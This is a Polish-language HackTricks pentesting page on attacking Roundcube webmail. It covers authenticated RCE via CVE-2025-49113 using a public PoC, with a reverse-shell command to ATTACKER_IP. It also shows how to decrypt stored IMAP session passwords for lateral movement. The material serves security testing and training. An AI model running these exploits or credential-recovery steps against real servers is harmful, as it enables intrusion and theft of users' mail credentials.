Roundcube
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Przegląd
Roundcube to klient webmail napisany w PHP, często wystawiony na vhostach HTTP(S) (np. mail.example.tld). Przydatne fingerprinty:
- Źródło HTML często leaks rcversion (e.g., window.rcmail && rcmail.env.rcversion)
- Domyślna ścieżka aplikacji w kontenerach/VMs: /var/www/html/roundcube
- Główny plik konfiguracyjny: config/config.inc.php
Uwierzytelnione RCE przez PHP object deserialization (CVE-2025-49113)
Dotknięte wersje (wg producenta/NVD):
- 1.6.x przed 1.6.11
- 1.5.x przed 1.5.10
Podsumowanie błędu
- Parametr _from w program/actions/settings/upload.php nie jest walidowany, co umożliwia wstrzyknięcie danych kontrolowanych przez atakującego, które Roundcube później unserializes, prowadząc do gadget chain execution i remote code execution w kontekście web (po uwierzytelnieniu).
Szybka eksploatacja
- Wymagania: poprawne dane logowania do Roundcube oraz dostępny URL UI (np. http://mail.target.tld)
- Public PoC automatyzuje session handling, gadget crafting and upload flow
git clone https://github.com/hakaioffsec/CVE-2025-49113-exploit.git
php CVE-2025-49113.php http://mail.target.tld USER PASS CMD
# examples
php CVE-2025-49113.php http://mail.target.tld user 'pass' "id"
# blind timing proof
time php CVE-2025-49113.php http://mail.target.tld user 'pass' "sleep 5"
# reverse shell
nc -nvlp 443
php CVE-2025-49113.php http://mail.target.tld user 'pass' \
"bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'"
Uwagi
- Wyjście jest często blind; użyj sleep N, aby zweryfikować RCE
- Powłoka zwykle działa jako www-data; w środowiskach z kontenerami spodziewaj się /.dockerenv i sieci 172.17.0.0/16
Post‑eksploatacja: odzyskiwanie haseł IMAP z sesji Roundcube
Roundcube przechowuje hasło IMAP bieżącego użytkownika w sesji (bazie danych), zaszyfrowane kluczem 3DES po stronie serwera skonfigurowanym w config.inc.php. Mając dostęp do systemu plików lub DB na hoście Roundcube możesz odzyskać hasła jawne i pivotować do innych skrzynek/usług (ponowne użycie SSH jest częste).
- Odczytaj DB DSN i klucz 3DES z konfiguracji
config/config.inc.php zazwyczaj zawiera:
$config['db_dsnw'] = 'mysql://roundcube:DB_PASS@localhost/roundcube';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str'; // 24‑byte key (3DES)
- Połącz się z DB i dump sessions
mysql -u roundcube -p roundcube
# or: mysql -u roundcube -pDB_PASS roundcube
mysql> SELECT id, created, changed, vars FROM session\G
Pole session.vars to blob Base64 wygenerowany przez Roundcube’s encrypt(): Base64( IV || 3DES-CBC(plaintext) ). Pierwsze 8 bajtów po Base64‑decoding to IV.
- Zlokalizuj pole password
Szybki sposób na znalezienie credential wewnątrz odszyfrowanej struktury to najpierw Base64‑decode pola vars i wzrokowe przejrzenie zserializowanych wpisów:
echo 'BASE64_FROM_VARS' | base64 -d | tr ';' '\n' | grep -i password
- Odszyfruj przy użyciu pomocnika Roundcube
Roundcube dostarcza CLI, który używa tej samej logiki rcmail->decrypt() oraz skonfigurowanego des_key:
cd /var/www/html/roundcube
./bin/decrypt.sh CIPHERTEXT_BASE64
# -> prints plaintext
- Ręczne deszyfrowanie 3DES-CBC (opcjonalne)
- Format szyfrogramu: Base64( IV(8B) || CT )
- Alg: 3DES-CBC, długość klucza 24B, PKCS#7 padding
from base64 import b64decode
iv_ct = b64decode('hcVCSNXOYgUXvhArn1a1OHJtDck+CFME')
iv, ct = iv_ct[:8], iv_ct[8:]
print(iv.hex(), ct.hex())
# decrypt(ct) with key = $config['des_key'], IV = iv
Typowe lokalizacje
- DB table: session (tabela users mapuje nazwy logowania na ID)
- Config path: /var/www/html/roundcube/config/config.inc.php
Użycie operacyjne
- Starsze wiersze session często zawierają hasła IMAP poprzednich użytkowników; odszyfruj wiele wpisów, aby wykonać ruch lateralny do innych skrzynek pocztowych
- Przetestuj odzyskane poświadczenia przeciwko SSH lub innym usługom, jeśli podejrzewa się ponowne użycie poświadczeń
References
- Roundcube security updates 1.6.11 and 1.5.10
- CVE-2025-49113 – NVD
- FearsOff research notes on Roundcube deserialization/RCE
- hakaioffsec/CVE-2025-49113-exploit (PoC)
- Roundcube bin/decrypt.sh helper
- HTB Outbound – 0xdf write‑up (Roundcube 1.6.10 → RCE → session decrypt pivot)
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
HackTricks

